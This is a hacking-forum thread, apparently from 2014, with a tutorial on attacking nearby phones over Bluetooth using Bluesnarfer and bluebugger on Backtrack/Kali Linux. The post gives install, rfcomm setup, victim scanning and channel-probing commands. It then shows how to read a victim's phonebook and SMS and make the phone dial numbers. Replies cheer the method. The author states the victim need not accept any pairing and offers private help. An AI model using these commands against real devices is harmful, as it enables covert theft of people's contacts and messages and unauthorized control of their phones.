Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

(tutorial) How To Hack Phones With Bluetooth Using Backtrack (BT5/Kali Linux)

A brief tutorial on how to hack a phone via bluetooth using Bluesnarfer.

For Backtrack/Kali Linux :

First we must install Bluesnarfer

Make your way to the opt directory
Code
cd /opt

Get Bluesnarfer using the wget command
Code
/opt# wget http://alighieri.org/tools/bluesnarfer.tar.gz

Reopen the directory using the ls command and you will see Bluesnarfer in there, now we have to extract it.
Code
:/opt# ls
bluesnarfer.tar.gz  firmware-mod-kit  metasploit  Teeth

To extract we use the simple tar xvf command
Code
/opt# tar xvf bluesnarfer.tar.gz

Reopen the directory once again and you will see Bluesnarfer there
Code
/opt# ls
BFi13-dev-18  bluesnarfer.tar.gz  metasploit
bluesnarfer   firmware-mod-kit    Teeth

Lets enter that folder like so
Code
/opt# cd bluesnarfer

Code
/opt/bluesnarfer# ls
include  Makefile  README  src

Now we finish it off by compoling the install like this

Code
/opt/bluesnarfer# make

To see all of the Bluesnarfer commands run this command ./bluesnarfer

Code
:/opt/bluesnarfer# ./bluesnarfer

Now that we have Bluesnarfer, you must configure rfcomm first, if you havent already done that,

Code
mkdir -p /dev/bluetooth/rfcomm

Code
mknod -m 666 /dev/bluetooth/rfcomm/0 c 216 0

Code
mknod --mode=666 /dev/rfcomm0 c 216 0

Code
hciconfig -i hci0 up

Code
hciconfig hci0

(Scan for victims)

Code
hcitool scan hci0

(ping the vitcim to see if he is awake)

Code
l2ping  < victim mac addr>

(browse the victim for rfcomm channels to connect to)

Code
sdptool browse --tree --l2cap < mac addr >

(then you can use bluesnarfer for example to read the victims phonebook, dial a number or read Sms or other things.)

Code
Bluesnarfer -r 1-100 -C 7 -b < mac addr >

(to see available opions to do )

Code
bluebugger -h

(Dial number )

Code
bluebugger -m < victim name > -c 7 -a < mac addr > Dial < number >

Extra: This is what the Bluesnarfer shell should look like

Code
bluesnarfer, version 0.1 -
usage: bluesnarfer [options] [ATCMD] -b bt_addr

ATCMD     : valid AT+CMD (GSM EXTENSION)

TYPE      : valid phonebook type ..
example   : "DC" (dialed call list)
      "SM" (SIM phonebook)
      "RC" (recevied call list)
      "XX" much more

-b bdaddr : bluetooth device address
-C chan   : bluetooth rfcomm channel

-c ATCMD  : custom action
-r N-M    : read phonebook entry N to M
-w N-M    : delete phonebook entry N to M
-f name   : search "name" in phonebook address
-s TYPE   : select phonebook memory storage
-l      : list aviable phonebook memory storage
-i      : device info

oh this great
i will try this method
nice tutorial. So if i use this i can have access to the victim's phone messages also? Can they be extracted?
(Jun 23, 2014 11:06 PM)kutubpur Wrote:  oh this great
i will try this method

Hit me with a PM if you need any help.
Awesome tutorial op! Going to try it asap
(Jun 23, 2014 11:23 PM)anoncs Wrote:  nice tutorial. So if i use this i can have access to the victim's phone messages also? Can they be extracted?

You can indeed access messages. As for extracting information, there's a script called Bluetest you can use, but I don't know how to implement that into the equation for it to work, since I have never used it myself.


(Jun 24, 2014 01:59 AM)VirusTotal Wrote:  Awesome tutorial op! Going to try it asap

Cheers man. Tell me how it goes. PM if you need help, I should be able to help you out.
so this is for devices that have bluetooth enabled and the victim does not have to pair anything or accept ANYTHING at all... is that correct?
GRATZ on making this nice tutorial m8!
When i will be able i will try it too..
Can i PM you anytime for help or if something went wrong?
(Jun 24, 2014 05:31 AM)lonewolf_787 Wrote:  so this is for devices that have bluetooth enabled and the victim does not have to pair anything or accept ANYTHING at all... is that correct?

That is absolutely correct, my man. PM me if you need help with anything.


(Jun 24, 2014 05:34 AM)_L0aD1nG_ Wrote:  GRATZ on making this nice tutorial m8!
When i will be able i will try it too..
Can i PM you anytime for help or if something went wrong?

Cheers man, it wasn't to hard tbh.
Of course man, if you need help, don't hesitate to throw me a PM.
Hy

I think you made a mistake here:
Quote:mknod -m 666 /dev/bluetooth/rfcomm/ 0 c 216 0


there must not be space between "/" and "0"
so correct form would be:
Quote:mknod -m 666 /dev/bluetooth/rfcomm/0 c 216 0


and another one (maby just for hcitool 4.99):

This is not correct form:
Quote:hcitool scan hci0


It should be like:
Quote:hcitool -i hci0 scan


Other than that, good tutorial 👍
Thanks
9x HD5970
2X GTX 980Ti
GTX 980
GTX 1060
R9 390


Cracking your hashes
(Jun 24, 2014 01:15 PM)pomwtin Wrote:  Hy

I think you made a mistake here:

there must not be space between "/" and "0"
so correct form would be:

and another one (maby just for hcitool 4.99):

This is not correct form:

It should be like:

Other than that, good tutorial 👍
Thanks

Cheers for that dewd, I just made the changes now, a little bilated, but at least it's done.
awesome tutorial... will try it out... thanks
(Jul 7, 2014 12:19 AM)adambaidya6 Wrote:  awesome tutorial... will try it out... thanks

tell m ehow it goes homes, pm if you need any help.
awesome tutorial...
but i've trouble here,i try use bluesnarfer to read my phonebook but failed..

bluesnarfer: invalid command inserted, you must insert AT.*
bluesnarfer: send_cmd failed
bluesnarfer: release rfcomm ok

that message displayed on my screen

thank for your help,
i'm newbie here
AWESOME bro, keep up the good work... Gonna try it ASAP ;)


Possibly Related Threads...
Thread / Author Replies Views Last Post
by WingRustMay 13, 2026 08:44 AM 35 1,977 May 13, 2026 08:44 AM
Last Post: WingRust
by TikeiioqJul 18, 2024 08:05 PM 1 212 Jul 18, 2024 08:05 PM
Last Post: DramaKing
by TheDeadPoolFeb 21, 2024 10:39 AM 7 556 Feb 21, 2024 10:39 AM
Last Post: DramaKing